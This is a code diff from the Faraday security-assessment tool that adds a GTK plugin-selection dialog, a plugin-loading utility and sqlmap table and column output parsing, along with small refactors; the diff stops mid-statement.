864 | 900 | url = urls.get(action.get_name(), "https://faradaysec.com") |
865 | 901 | webbrowser.open(url, new=2) |
902 | ||
903 | def type_faraday_plugin_command(self, action, param=None): | |
904 | """ | |
905 | Types the faraday plugin command on the command line. | |
906 | """ | |
907 | ||
908 | plugin = "_".join(action.get_name().split('_')[1:]) | |
909 | terminal = self.window.get_current_focused_terminal() | |
910 | ||
911 | command = fplugin_utils.build_faraday_plugin_command(plugin, self.get_active_workspace().getName()) | |
912 | fd = terminal.get_pty().get_fd() | |
913 | ||
914 | os.write(fd, command) |
7 | 7 | ''' |
8 | 8 | import gi |
9 | 9 | import webbrowser |
10 | import os | |
10 | 11 | |
11 | 12 | gi.require_version('Gtk', '3.0') |
12 | 13 | |
16 | 17 | from decorators import scrollable |
17 | 18 | |
18 | 19 | from compatibility import CompatibleScrolledWindow as GtkScrolledWindow |
19 | ||
20 | from plugins import fplugin_utils | |
20 | 21 | |
21 | 22 | CONF = getInstanceConfiguration() |
22 | 23 | |
146 | 147 | self.name_entry = Gtk.Entry() |
147 | 148 | if self.title is not None: |
148 | 149 | self.name_entry.set_text(self.title) |
149 | name_box.pack_start(name_label, True, True, 10) | |
150 | name_box.pack_end(self.name_entry, False, False, 10) | |
150 | name_box.pack_start(name_label, False, False, 10) | |
151 | name_box.pack_end(self.name_entry, True, True, 10) | |
151 | 152 | return name_box |
152 | 153 | |
153 | 154 | def create_description_box(self): |
156 | 157 | description_label = Gtk.Label() |
157 | 158 | description_label.set_text("Description: ") |
158 | 159 | self.description_entry = Gtk.Entry() |
159 | description_box.pack_start(description_label, True, True, 10) | |
160 | description_box.pack_end(self.description_entry, False, False, 10) | |
160 | description_box.pack_start(description_label, False, False, 10) | |
161 | description_box.pack_end(self.description_entry, True, True, 10) | |
161 | 162 | return description_box |
162 | 163 | |
163 | 164 | def create_button_box(self): |
211 | 212 | self.connect("delete_event", lambda _, __: True) |
212 | 213 | self.exit_faraday = exit_faraday_callback |
213 | 214 | explanation_message = self.create_explanation_message() |
214 | self.main_box.pack_start(explanation_message, True, True, 10) | |
215 | self.main_box.pack_start(explanation_message, True, True, 6) | |
215 | 216 | self.main_box.reorder_child(explanation_message, 0) |
216 | 217 | |
217 | 218 | def on_click_cancel(self, button): |
218 | 219 | """Override parent's class cancel callback so it exits faraday.""" |
219 | self.exit_faraday() | |
220 | self.exit_faraday(parent=self) | |
220 | 221 | |
221 | 222 | def create_explanation_message(self): |
222 | 223 | """Returns a simple explanatory message inside a Label""" |
223 | 224 | message = Gtk.Label() |
224 | 225 | message.set_text("There are no workspaces available. You must " |
225 | 226 | "create one to continue using Faraday.") |
226 | message.set_line_wrap(True) | |
227 | message.set_max_width_chars(38) | |
228 | ||
229 | 227 | return message |
230 | 228 | |
231 | 229 | |
435 | 433 | |
436 | 434 | adecuateModel = self.models[self.id_of_selected] |
437 | 435 | self.createAdecuatePluginSettingView(adecuateModel) |
436 | ||
437 | ||
438 | class FaradayPluginsDialog(Gtk.Window): | |
439 | """The dialog where the user can see details about installed plugins. | |
440 | It is not the prettiest thing in the world but it works. | |
441 | Creating and displaying the models of each plugin settings is specially | |
442 | messy , there's more info in the appropiate methods""" | |
443 | ||
444 | def __init__(self, terminal, workspace_name, parent): | |
445 | ||
446 | Gtk.Window.__init__(self, title="Faraday Plugin") | |
447 | self.set_type_hint(Gdk.WindowTypeHint.DIALOG) | |
448 | self.set_transient_for(parent) | |
449 | self.set_modal(True) | |
450 | self.set_size_request(800, 300) | |
451 | self._terminal = terminal | |
452 | self._workspace_name = workspace_name | |
453 | ||
454 | plugin_info = self.createPluginInfo() | |
455 | ||
456 | # self.id_of_selected = plugin_info[0][0] # default selected is first item in list | |
457 | plugin_list = self.createPluginListView(plugin_info) | |
458 | left_side_box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL) | |
459 | left_side_box.pack_start(plugin_list, True, True, 0) | |
460 | ||
461 | buttonBox = Gtk.Box() | |
462 | append_button = Gtk.Button.new_with_label("Append") | |
463 | cancel_button = Gtk.Button.new_with_label("Cancel") | |
464 | append_button.connect("clicked", self.on_click_append) | |
465 | cancel_button.connect("clicked", self.on_click_cancel) | |
466 | buttonBox.pack_start(append_button, True, True, 10) | |
467 | buttonBox.pack_start(cancel_button, True, True, 10) | |
468 | ||
469 | left_side_box.pack_start(buttonBox, False, False, 10) | |
470 | ||
471 | infoBox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL) | |
472 | descriptionBox = Gtk.Box() | |
473 | ||
474 | descriptionLabel = Gtk.Label() | |
475 | ||
476 | self.descriptionEntry = Gtk.Label() | |
477 | ||
478 | descriptionLabel.set_text("Description: ") | |
479 | ||
480 | descriptionBox.pack_start(descriptionLabel, False, False, 5) | |
481 | descriptionBox.pack_start(self.descriptionEntry, False, True, 5) | |
482 | ||
483 | infoBox.pack_start(descriptionBox, False, False, 5) | |
484 | ||
485 | self.pluginSpecsBox = Gtk.Box(orientation=Gtk.Orientation.VERTICAL) | |
486 | self.pluginSpecsBox.pack_start(infoBox, False, False, 5) | |
487 | ||
488 | self.mainBox = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL) | |
489 | self.mainBox.pack_start(left_side_box, False, True, 10) | |
490 | self.mainBox.pack_end(self.pluginSpecsBox, True, True, 10) | |
491 | ||
492 | self.add(self.mainBox) | |
493 | ||
494 | def on_click_append(self, button=None): | |
495 | """On click OK button update the plugins settings and then destroy""" | |
496 | ||
497 | self.type_faraday_plugin_command(self.name_of_selected) | |
498 | ||
499 | self.destroy() | |
500 | ||
501 | def on_click_cancel(self, button): | |
502 | """On click cancel button, destroy brutally. No mercy""" | |
503 | self.destroy() | |
504 | ||
505 | def createPluginInfo(self): | |
506 | """Creates and return a TreeStore where the basic information about | |
507 | the plugins: the plugin ID, name, intended version of the tool | |
508 | and plugin version""" | |
509 | plugin_info = Gtk.TreeStore(str, str, str) | |
510 | ||
511 | for key, plugin_dic in fplugin_utils.get_available_plugins().items(): | |
512 | plugin_info.append(None, [key, | |
513 | plugin_dic["description"], | |
514 | plugin_dic["prettyname"] | |
515 | ] | |
516 | ) | |
517 | ||
518 | # Sort it! | |
519 | sorted_plugin_info = Gtk.TreeModelSort(model=plugin_info) | |
520 | sorted_plugin_info.set_sort_column_id(2, Gtk.SortType.ASCENDING) | |
521 | return sorted_plugin_info | |
522 | ||
523 | @scrollable(width=300) | |
524 | def createPluginListView(self, plugin_info): | |
525 | """Creates the view for the left-hand side list of the dialog. | |
526 | It uses an instance of the plugin manager to get a list | |
527 | of all available plugins""" | |
528 | ||
529 | plugin_list_view = Gtk.TreeView(plugin_info) | |
530 | renderer = Gtk.CellRendererText() | |
531 | column = Gtk.TreeViewColumn("Title", renderer, text=2) | |
532 | column.set_sort_column_id(1) | |
533 | plugin_list_view.append_column(column) | |
534 | ||
535 | selection = plugin_list_view.get_selection() | |
536 | selection.connect("changed", self.on_plugin_selection) | |
537 | ||
538 | return plugin_list_view | |
539 | ||
540 | def on_plugin_selection(self, selection): | |
541 | """When the user selects a plugin, it will change the text | |
542 | displeyed on the entries to their corresponding values""" | |
543 | ||
544 | # if the user searches for something that doesn't exists, | |
545 | # for example, the plugin 'jsaljfdlajs', this avoids | |
546 | # the program trying to get settings for that non-existing plugin | |
547 | try: | |
548 | model, treeiter = selection.get_selected() | |
549 | self.name_of_selected = model[treeiter][0] | |
550 | # self.id_of_selected = model[treeiter][1] | |
551 | description = model[treeiter][1] | |
552 | ||
553 | self.descriptionEntry.set_label(description) | |
554 | ||
555 | except TypeError: | |
556 | pass | |
557 | ||
558 | def type_faraday_plugin_command(self, plugin): | |
559 | ||
560 | command = fplugin_utils.build_faraday_plugin_command(plugin, self._workspace_name) | |
561 | fd = self._terminal.get_pty().get_fd() | |
562 | ||
563 | os.write(fd, command) | |
438 | 564 | |
439 | 565 | |
440 | 566 | class HostInfoDialog(Gtk.Window): |
1001 | 1127 | return button_box |
1002 | 1128 | |
1003 | 1129 | def _next_conflict_or_close(self): |
1004 | if len(self.conflicts)-1 > self.conflict_n: | |
1005 | self.conflict_n += 1 | |
1006 | self.update_current_conflict() | |
1007 | self.update_current_conflict_model() | |
1008 | self.set_conflict_view(self.conflict_n) | |
1009 | else: | |
1010 | self.destroy() | |
1130 | """Move to next conflict and update current conflict View and model.""" | |
1131 | if len(self.conflicts) - 1 > self.conflict_n: | |
1132 | self.conflict_n += 1 | |
1133 | self.update_current_conflict() | |
1134 | self.update_current_conflict_model() | |
1135 | self.set_conflict_view(self.conflict_n) | |
1136 | else: | |
1137 | self.destroy() | |
1011 | 1138 | |
1012 | 1139 | def save(self, button, keeper): |
1013 | 1140 | """Saves information to Faraday. Keeper is needed to know if user |
1057 | 1184 | "deleted the conflicting object from " |
1058 | 1185 | "the DB \n" |
1059 | 1186 | "Moving on to the next conflict.")) |
1187 | ||
1188 | guiapi.conflictMissing(self.current_conflict) | |
1060 | 1189 | dialog.run() |
1061 | 1190 | dialog.destroy() |
1062 | 1191 | self._next_conflict_or_close() |
41 | 41 | self.connect("key_press_event", self.copy_or_paste) |
42 | 42 | self.host, self.port = CONF.getApiRestfulConInfo() |
43 | 43 | |
44 | faraday_directory = os.path.dirname(os.path.realpath('faraday.py')) | |
45 | self.faraday_exec = faraday_directory + "/faraday-terminal.zsh" | |
44 | self.faraday_directory = os.path.dirname(os.path.realpath('faraday.py')) | |
45 | self.faraday_exec = self.faraday_directory + "/faraday-terminal.zsh" | |
46 | 46 | |
47 | 47 | self.start_faraday() |
48 | 48 | |
59 | 59 | self.spawn_sync(Vte.PtyFlags.DEFAULT, |
60 | 60 | home_dir, |
61 | 61 | [self.faraday_exec, str(self.host), str(self.port)], |
62 | [], | |
62 | ['FARADAY_PATH=%s' % self.faraday_directory], | |
63 | 63 | GLib.SpawnFlags.DO_NOT_REAP_CHILD, |
64 | None, | |
64 | 65 | None, |
65 | 66 | None) |
66 | 67 | |
314 | 315 | @preconditions: host_id must be in self.host_id_to_iter, |
315 | 316 | self.host_id_to_iter[host_id] must in the model. |
316 | 317 | """ |
318 | ||
319 | # Let's first check if the host_id is in the model to avoid an exception bellow. | |
320 | # Added because of a race condition (?) between the client and the server, where a deletion | |
321 | # in bulk by the fplugin would trigger a KeyError | |
322 | if not self._is_host_in_model_by_host_id(host_id): | |
323 | return | |
324 | ||
317 | 325 | host_iter = self.host_id_to_iter[host_id] |
318 | 326 | current_host_name = self.model[host_iter][3].split(" ")[0] |
319 | 327 | new_host_string = "{0} ({1})".format(current_host_name, new_vuln_amount) |
338 | 346 | model by modifying their corresponding hosts in the model. Return None. |
339 | 347 | """ |
340 | 348 | host_ids = map(self._find_host_id, vulns) |
341 | self._modify_vuln_amounts_of_hosts_in_model(host_ids, lambda x: x+1) | |
349 | self._modify_vuln_amounts_of_hosts_in_model(host_ids, lambda x: x + 1) | |
342 | 350 | |
343 | 351 | def remove_relevant_vulns_from_model(self, vuln_ids): |
344 | 352 | """Takes vulns_ids, a list of vuln ids, and removes them from |
346 | 354 | Return None. |
347 | 355 | """ |
348 | 356 | host_ids = map(lambda v: v.getID().split(".")[0], vulns_ids) |
349 | self._modify_vuln_amounts_of_hosts_in_model(host_ids, lambda x: x-1) | |
357 | self._modify_vuln_amounts_of_hosts_in_model(host_ids, lambda x: x - 1) | |
350 | 358 | |
351 | 359 | def add_host(self, host): |
352 | 360 | """Adds host to the model. Do not use for hosts added after |
448 | 456 | button_box.override_background_color(Gtk.StateType.NORMAL, Gdk.RGBA(.1, .1, .1, .1)) |
449 | 457 | self.prev_button = Gtk.Button.new_with_label("<<") |
450 | 458 | self.next_button = Gtk.Button.new_with_label(">>") |
451 | self.prev_button.connect("clicked", self.on_click_move_page, lambda x: x-1) | |
452 | self.next_button.connect("clicked", self.on_click_move_page, lambda x: x+1) | |
459 | self.prev_button.connect("clicked", self.on_click_move_page, lambda x: x - 1) | |
460 | self.next_button.connect("clicked", self.on_click_move_page, lambda x: x + 1) | |
453 | 461 | button_box.pack_start(self.prev_button, True, True, 0) |
454 | 462 | button_box.pack_start(self.progress_label, True, True, 0) |
455 | 463 | button_box.pack_start(self.next_button, True, True, 0) |
471 | 479 | |
472 | 480 | def update_progress_label(self): |
473 | 481 | """Updates the progress label with values from self.page and self.number_of_pages.""" |
474 | self.progress_label.set_label("{0} / {1}".format(self.page+1, self.number_of_pages)) | |
482 | self.progress_label.set_label("{0} / {1}".format(self.page + 1, self.number_of_pages)) | |
475 | 483 | |
476 | 484 | def create_search_entry(self): |
477 | 485 | """Returns a simple search entry""" |
622 | 630 | # change the workspace to the newly selected |
623 | 631 | self.change_ws(self.get_selected_ws_name()) |
624 | 632 | return True # prevents the click from selecting a workspace |
625 | # this is handled manually by us on self.change_ws | |
633 | # this is handled manually by us on self.change_ws | |
626 | 634 | |
627 | 635 | def on_right_click(self, view, event): |
628 | 636 | """On click, check if it was a right click. If it was, |
741 | 749 | |
742 | 750 | def news_button(self, url, description): |
743 | 751 | |
744 | anchor = self.textBuffer.create_child_anchor( | |
745 | self.textBuffer.get_end_iter()) | |
746 | ||
747 | button = Gtk.Button() | |
748 | label = Gtk.Label() | |
749 | ||
750 | label.set_markup( | |
751 | 'Faraday News: <a href="' + url + '"> ' + | |
752 | description + "</a>") | |
753 | ||
754 | button.add(label) | |
755 | button.set_relief(Gtk.ReliefStyle.NONE) | |
756 | ||
757 | button.connect("clicked", lambda o: webbrowser.open(url)) | |
758 | ||
759 | label.show() | |
760 | button.show() | |
761 | self.update("\n") | |
762 | ||
763 | self.textView.add_child_at_anchor(button, anchor) | |
752 | anchor = self.textBuffer.create_child_anchor( | |
753 | self.textBuffer.get_end_iter()) | |
754 | ||
755 | button = Gtk.Button() | |
756 | label = Gtk.Label() | |
757 | ||
758 | label.set_markup( | |
759 | 'Faraday News: <a href="' + url + '"> ' + | |
760 | description + "</a>") | |
761 | ||
762 | button.add(label) | |
763 | button.set_relief(Gtk.ReliefStyle.NONE) | |
764 | ||
765 | button.connect("clicked", lambda o: webbrowser.open(url)) | |
766 | ||
767 | label.show() | |
768 | button.show() | |
769 | self.update("\n") | |
770 | ||
771 | self.textView.add_child_at_anchor(button, anchor) | |
764 | 772 | |
765 | 773 | def customEvent(self, text): |
766 | 774 | """Filters event so that only those with type 3131 get to the log. |
794 | 802 | |
795 | 803 | # we need to take 1 from the lines to compensate for the default line |
796 | 804 | lines = self.textBuffer.get_line_count() |
797 | begin = self.textBuffer.get_iter_at_line(lines-1) | |
805 | begin = self.textBuffer.get_iter_at_line(lines - 1) | |
798 | 806 | |
799 | 807 | # update last position, it isn't the same as when the funcion started |
800 | 808 | last_position = self.textBuffer.get_end_iter() |
903 | 911 | |
904 | 912 | def update_ws_info(self, new_host_count, new_service_count, |
905 | 913 | new_vuln_count): |
906 | ||
907 | 914 | host, service, vuln = self.create_strings(new_host_count, |
908 | 915 | new_service_count, |
909 | 916 | new_vuln_count) |
78 | 78 | return models.get_workspace_numbers(self.active_workspace) |
79 | 79 | |
80 | 80 | @safe_io_with_server(False) |
81 | def is_server_up(self): | |
82 | return models.is_server_up() | |
81 | def server_info(self): | |
82 | return models.server_info() | |
83 | 83 | |
84 | 84 | @safe_io_with_server(False) |
85 | 85 | def test_server_url(self, url): |
188 | 188 | tolerance = 0 |
189 | 189 | while True: |
190 | 190 | time.sleep(1) |
191 | test_was_successful = self.is_server_up() | |
191 | test_was_successful = self.server_info() is not None | |
192 | 192 | if test_was_successful: |
193 | 193 | tolerance = 0 |
194 | 194 | else: |
297 | 297 | if sync: |
298 | 298 | self._sync_api_request = False |
299 | 299 | |
300 | def conflictMissing(self, conflict): | |
301 | """ | |
302 | Conflict missing (Resolved by another one) | |
303 | Remove conflict in original object and notify to clients | |
304 | """ | |
305 | conflict.getFirstObject().updateResolved(conflict) | |
306 | notifier.conflictUpdate(-1) | |
307 | ||
300 | 308 | def getConflicts(self): |
301 | 309 | conflicts = [] |
302 | 310 | for obj in self.objects_with_updates: |
814 | 822 | ipv6_address=ipv6_address, ipv6_prefix=ipv6_prefix, |
815 | 823 | ipv6_gateway=ipv6_gateway, ipv6_dns=ipv6_dns, |
816 | 824 | network_segment=network_segment, |
817 | hostname_resolution=hostname_resolution, parent_id=parent_id) | |
825 | hostnames=hostname_resolution, parent_id=parent_id) | |
818 | 826 | |
819 | 827 | def newService(self, name, protocol="tcp?", ports=[], status="running", |
820 | 828 | version="unknown", description="", parent_id=None): |
446 | 446 | def getParent(parent_id): |
447 | 447 | return __model_controller.find(parent_id) |
448 | 448 | |
449 | def conflictMissing(conflict): | |
450 | __model_controller.conflictMissing(conflict) | |
449 | 451 | |
450 | 452 | def resolveConflicts(): |
451 | 453 | __model_controller.resolveConflicts() |
645 | 645 | """Return a list with all the workspace names available.""" |
646 | 646 | return server.get_workspaces_names()['workspaces'] |
647 | 647 | |
648 | def is_server_up(): | |
648 | def server_info(): | |
649 | 649 | """True if server is up, False otherwise.""" |
650 | return server.is_server_up() | |
650 | return server.server_info() | |
651 | 651 | |
652 | 652 | def test_server_url(url_to_test): |
653 | 653 | """Return True if url_to_test/_api/info is accessible, False otherwise""" |
114 | 114 | """ |
115 | 115 | try: |
116 | 116 | answer = server_io_function(server_url, **payload) |
117 | if answer.status_code == 409 and answer.json()['error'] == 'conflict': | |
117 | if answer.status_code == 409: | |
118 | 118 | raise ConflictInDatabase(answer) |
119 | 119 | if answer.status_code == 404: |
120 | 120 | raise ResourceDoesNotExist(server_url) |
1299 | 1299 | metadata=metadata, |
1300 | 1300 | username=username, |
1301 | 1301 | password=password, |
1302 | type="Credential") | |
1302 | type="Cred") | |
1303 | 1303 | |
1304 | 1304 | def update_credential(workspace_name, id, name, username, password, |
1305 | 1305 | owned=None, owner="", description="", metadata=None): |
1329 | 1329 | metadata=metadata, |
1330 | 1330 | username=username, |
1331 | 1331 | password=password, |
1332 | type="Credential") | |
1332 | type="Cred") | |
1333 | 1333 | |
1334 | 1334 | def create_command(workspace_name, id, command, duration=None, hostname=None, |
1335 | 1335 | ip=None, itime=None, params=None, user=None): |
1447 | 1447 | db_url = _create_server_db_url(workspace_name) |
1448 | 1448 | return _delete(db_url, database=True) |
1449 | 1449 | |
1450 | def is_server_up(): | |
1451 | """Return True if we can stablish a connection with the server, | |
1452 | False otherwise. | |
1450 | def server_info(): | |
1451 | """Return server info if we can stablish a connection with the server, | |
1452 | None otherwise. | |
1453 | 1453 | """ |
1454 | 1454 | try: |
1455 | _get("{0}/info".format(_create_server_api_url())) | |
1456 | is_server_up = True | |
1455 | return _get("{0}/info".format(_create_server_api_url())) | |
1457 | 1456 | except: |
1458 | is_server_up = False | |
1459 | return is_server_up | |
1457 | return None | |
1460 | 1458 | |
1461 | 1459 | def test_server_url(url_to_test): |
1462 | 1460 | """Return True if the url_to_test is indeed a valid Faraday Server URL. |
0 | import imp | |
1 | import os | |
2 | import sys | |
3 | ||
4 | from colorama import Fore | |
5 | ||
6 | from config.configuration import getInstanceConfiguration | |
7 | ||
8 | CONF = getInstanceConfiguration() | |
9 | ||
10 | ||
11 | def get_available_plugins(): | |
12 | faraday_directory = os.path.dirname(os.path.realpath(os.path.join(__file__, "../"))) | |
13 | ||
14 | scan_path = os.path.join(faraday_directory, "bin/") | |
15 | ||
16 | plugin_list = os.listdir(scan_path) | |
17 | ||
18 | if 'fplugin' in plugin_list: | |
19 | plugin_list.remove('fplugin') | |
20 | ||
21 | plugin_list = filter(lambda p: p[-3:] == '.py', plugin_list) | |
22 | ||
23 | plugins_dic = {} | |
24 | ||
25 | for plugin in plugin_list: | |
26 | plugin_path = os.path.join(scan_path, plugin) | |
27 | ||
28 | try: | |
29 | ||
30 | plugin_name = os.path.splitext(plugin)[0] | |
31 | ||
32 | module = imp.load_source('module_fplugin_%s' % plugin_name, plugin_path) | |
33 | ||
34 | try: | |
35 | description = getattr(module, '__description__') | |
36 | except AttributeError: | |
37 | description = 'Empty' | |
38 | sys.stderr.write(Fore.YELLOW + | |
39 | "WARNING: Plugin missing a description. Please update it! [%s]\n" % plugin + | |
40 | Fore.RESET) | |
41 | ||
42 | try: | |
43 | prettyname = getattr(module, '__prettyname__') | |
44 | except AttributeError: | |
45 | prettyname = plugin_name | |
46 | sys.stderr.write(Fore.YELLOW + | |
47 | "WARNING: Plugin missing a pretty name. Please update it! [%s]\n" % plugin + | |
48 | Fore.RESET) | |
49 | ||
50 | try: | |
51 | main = getattr(module, 'main') | |
52 | except AttributeError: | |
53 | main = None | |
54 | sys.stderr.write(Fore.YELLOW + | |
55 | "WARNING: Plugin missing a main function. Please fix it! [%s]\n" % plugin + | |
56 | Fore.RESET) | |
57 | ||
58 | plugins_dic[plugin[:-3]] = { | |
59 | 'description': description, | |
60 | 'prettyname': prettyname, | |
61 | 'main': main | |
62 | } | |
63 | ||
64 | except Exception: | |
65 | sys.stderr.write("Unable to import module %s\n" % plugin_path) | |
66 | ||
67 | return plugins_dic | |
68 | ||
69 | ||
70 | def build_faraday_plugin_command(plugin, workspace_name, absolute_path=False): | |
71 | faraday_directory = os.path.dirname(os.path.realpath(os.path.join(__file__, "../"))) | |
72 | path = os.path.join(faraday_directory, "bin/") | |
73 | ||
74 | return '{path}fplugin {command} -u {url} -w {workspace} '.format( | |
75 | path='"%s"' % path if absolute_path else '', | |
76 | command=plugin, | |
77 | url=CONF.getCouchURI(), | |
78 | workspace=workspace_name | |
79 | ) |
166 | 166 | ipv6_address=ipv6_address, ipv6_prefix=ipv6_prefix, |
167 | 167 | ipv6_gateway=ipv6_gateway, ipv6_dns=ipv6_dns, |
168 | 168 | network_segment=network_segment, |
169 | hostname_resolution=hostname_resolution, parent_id=host_id) | |
169 | hostnames=hostname_resolution, parent_id=host_id) | |
170 | 170 | |
171 | 171 | int_obj._metadata.creator = self.id |
172 | 172 | self.__addPendingAction(modelactions.ADDINTERFACE, host_id, int_obj) |
19 | 19 | from BaseHTTPServer import BaseHTTPRequestHandler |
20 | 20 | from StringIO import StringIO |
21 | 21 | from urlparse import urlparse |
22 | from collections import defaultdict | |
22 | 23 | |
23 | 24 | from plugins.plugin import PluginTerminalOutput |
24 | 25 | |
235 | 236 | |
236 | 237 | return users |
237 | 238 | |
239 | def _get_log_message(self, line): | |
240 | """Return the message of a log line. | |
241 | ||
242 | If the line isn't from the log it will raise a ValueError | |
243 | ||
244 | >>> line = '[16:59:03] [INFO] fetching tables' | |
245 | >>> self._get_log_message('line') | |
246 | 'fetching tables' | |
247 | """ | |
248 | match = re.match(r'\[[0-9:]+\] \[\w+\] (.+)$', line) | |
249 | if match is None: | |
250 | raise ValueError('Incorrect format of line') | |
251 | return match.group(1) | |
252 | ||
253 | def _is_log_and_startswith(self, text, line): | |
254 | try: | |
255 | msg = self._get_log_message(line) | |
256 | except ValueError: | |
257 | return False | |
258 | else: | |
259 | return msg.startswith(text) | |
260 | ||
261 | def _is_tables_log_line(self, line): | |
262 | # [16:59:03] [INFO] fetching tables for databases: 'bWAPP, ... | |
263 | return self._is_log_and_startswith('fetching tables for databases', | |
264 | line) | |
265 | ||
266 | def _is_columns_log_line(self, line): | |
267 | # [16:59:03] [INFO] fetching columns for table ... | |
268 | return self._is_log_and_startswith('fetching columns for table ', | |
269 | line) | |
270 | ||
271 | def _match_start_get_remaining(self, start, text): | |
272 | """ | |
273 | If text starts with start, return text with start stripped. | |
274 | ||
275 | Return None if it doesn't match. | |
276 | """ | |
277 | if not text.startswith(start): | |
278 | return | |
279 | return text[len(start):] | |
280 | ||
281 | def gettables(self, data): | |
282 | """ | |
283 | Return enumerated tables of the remote database. | |
284 | """ | |
285 | tables = defaultdict(list) # Map database names with its tables | |
286 | current_database = None | |
287 | status = 'find_log_line' | |
288 | list_found = False | |
289 | for line in data.splitlines(): | |
290 | if status == 'find_log_line': | |
291 | # Look for the correct log line to start searching databases | |
292 | if self._is_tables_log_line(line): | |
293 | # Correct line, change status | |
294 | status = 'find_dbname' | |
295 | elif self._is_log_and_startswith('', line) and list_found: | |
296 | # If another log line is reached, stop looking | |
297 | break | |
298 | elif status == 'find_dbname': | |
299 | database = self._match_start_get_remaining('Database: ', line) | |
300 | if database is not None: | |
301 | current_database = database | |
302 | list_found = True | |
303 | status = 'find_list_start' | |
304 | elif status == 'find_list_start': | |
305 | # Find +--------------+ line | |
306 | if re.match(r'^\+\-+\+$', line): | |
307 | # Line found | |
308 | status = 'find_tables' | |
309 | elif status == 'find_tables': | |
310 | if line.startswith('|') and line.endswith('|'): | |
311 | table = line[1:-1].strip() | |
312 | tables[current_database].append(table) | |
313 | elif re.match(r'^\+\-+\+$', line): | |
314 | # Table list for this db ended | |
315 | status = 'find_dbname' | |
316 | else: | |
317 | raise RuntimeError('unknown status') | |
318 | return tables | |
319 | ||
320 | def getcolumns(self, data): | |
321 | """ | |
322 | Return enumerated columns of the remote database. | |
323 | """ | |
324 | columns = defaultdict(lambda: defaultdict(list)) | |
325 | current_table = current_database = None | |
326 | status = 'find_log_line' | |
327 | list_start_count = 0 | |
328 | list_found = False | |
329 | for line in data.splitlines(): | |
330 | if status == 'find_log_line': | |
331 | if self._is_columns_log_line(line): | |
332 | status = 'find_dbname' | |
333 | elif self._is_log_and_startswith('', line) and list_found: | |
334 | # Don't accept log lines if the DB dump started | |
335 | break | |
336 | elif status == 'find_dbname': | |
337 | database = self._match_start_get_remaining('Database: ', line) | |
338 | if database is not None: | |
339 | list_found = True | |
340 | current_database = database | |
341 | status = 'find_table_name' | |
342 | elif status == 'find_table_name': | |
343 | table = self._match_start_get_remaining('Table: ', line) | |
344 | if database is not None: | |
345 | current_table = table | |
346 | status = 'find_two_list_starts' | |
347 | elif status == 'find_two_list_starts': | |
348 | if re.match(r'^\+[\-\+]+\+$', line): | |
349 | list_start_count += 1 | |
350 | if list_start_count == 2: | |
351 | # Start fetching columns | |
352 | list_start_count = 0 | |
353 | status = 'find_columns' | |
354 | elif status == 'find_columns': | |
355 | if line.startswith('|') and line.endswith('|'): | |
356 | (name, type_) = [val.strip() | |
357 | for val in line[1:-1].split('|')] | |
358 | columns[current_database][current_table].append( | |
359 | (name, type_)) | |
360 | elif re.match(r'^\+[\-\+]+\+$', line): | |
361 | status = 'find_dbname' | |
362 | else: | |
363 | raise RuntimeError('unknown status') | |
364 | return columns | |
365 | ||
238 | 366 | def getAddress(self, hostname): |
239 | 367 | """ |
240 | 368 | Returns remote IP address from hostname. |
261 | 389 | from lib.core.settings import UNICODE_ENCODING |
262 | 390 | except: |
263 | 391 | print 'ERROR: Remember set your Sqlmap Path Setting!... Abort plugin.' |
264 | sys.exit(-1) | |
392 | return | |
265 | 393 | |
266 | 394 | self.HASHDB_MILESTONE_VALUE = HASHDB_MILESTONE_VALUE |
267 | 395 | self.HASHDB_KEYS = HASHDB_KEYS |
275 | 403 | |
276 | 404 | users = self.getuser(output) |
277 | 405 | dbs = self.getdbs(output) |
406 | tables = self.gettables(output) | |
407 | columns = self.getcolumns(output) | |
278 | 408 | |
279 | 409 | db = Database(self._output_path) |
280 | 410 | db.connect() |
282 | 412 | absFilePaths = self.hashDBRetrieve( |
283 | 413 | self.HASHDB_KEYS.KB_ABS_FILE_PATHS, True, db) |
284 | 414 | |
285 | tables = self.hashDBRetrieve( | |
415 | brute_tables = self.hashDBRetrieve( | |
286 | 416 | self.HASHDB_KEYS.KB_BRUTE_TABLES, True, db) |
287 | 417 | |
288 | columns = self.hashDBRetrieve( | |
418 | brute_columns = self.hashDBRetrieve( | |
289 | 419 | self.HASHDB_KEYS.KB_BRUTE_COLUMNS, True, db) |
290 | 420 | |
291 | 421 | xpCmdshellAvailable = self.hashDBRetrieve( |
294 | 424 | dbms_version = self.hashDBRetrieve(self.HASHDB_KEYS.DBMS, False, db) |
295 | 425 | |
296 | 426 | self.ip = self.getAddress(self.hostname) |
297 | ||
427 | ||
298 | 428 | h_id = self.createAndAddHost(self.ip) |
299 | 429 | |
300 | 430 | i_id = self.createAndAddInterface( |
349 | 479 | if password: |
350 | 480 | for k, v in password.iteritems(): |
351 | 481 | self.createAndAddCredToService(h_id, s_id2, k, v) |
352 | ||
482 | ||
353 | 483 | # sqlmap.py --file-dest |
354 | 484 | if absFilePaths: |
355 | 485 | self.createAndAddNoteToService( |
356 | 486 | h_id, |
357 | 487 | s_id2, |
358 | 488 | "sqlmap.absFilePaths", |
359 | str(absFilePaths)) | |
489 | '\n'.join(absFilePaths)) | |
360 | 490 | |
361 | 491 | # sqlmap.py --common-tables |
362 | if tables: | |
363 | for item in tables: | |
492 | if brute_tables: | |
493 | for item in brute_tables: | |
364 | 494 | self.createAndAddNoteToService( |
365 | 495 | h_id, |
366 | 496 | s_id2, |
367 | 497 | "sqlmap.brutetables", |
368 | 498 | item[1]) |
369 | 499 | |
500 | # sqlmap.py --tables | |
501 | if tables: | |
502 | table_names = ['{}.{}'.format(db_name, table) | |
503 | for (db_name, db_tables) in tables.items() | |
504 | for table in db_tables] | |
505 | self.createAndAddNoteToService( | |
506 | h_id, | |
507 | s_id2, | |
508 | "sqlmap.tables", | |
509 | '\n'.join(table_names) | |
510 | ) | |
511 | ||
512 | # sqlmap.py --columns | |
513 | if columns: | |
514 | # Create one note per database | |
515 | for (database, tables) in columns.items(): | |
516 | text = '' | |
517 | for (table_name, columns) in tables.items(): | |
518 | columns_text = ', '.join( | |
519 | '{} {}'.format(col_name, type_) | |
520 | for (col_name, type_) in columns) | |
521 | text += '{}: {}\n'.format(table_name, columns_text) | |
522 | self.createAndAddNoteToService( | |
523 | h_id, | |
524 | s_id2, | |
525 | "sqlmap.columns." + database, | |
526 | text) | |
527 | ||
370 | 528 | # sqlmap.py --common-columns |
371 | if columns: | |
529 | if brute_columns: | |
372 | 530 | |
373 | 531 | text = ( |
374 | 'Db: ' + columns[0][0] + | |
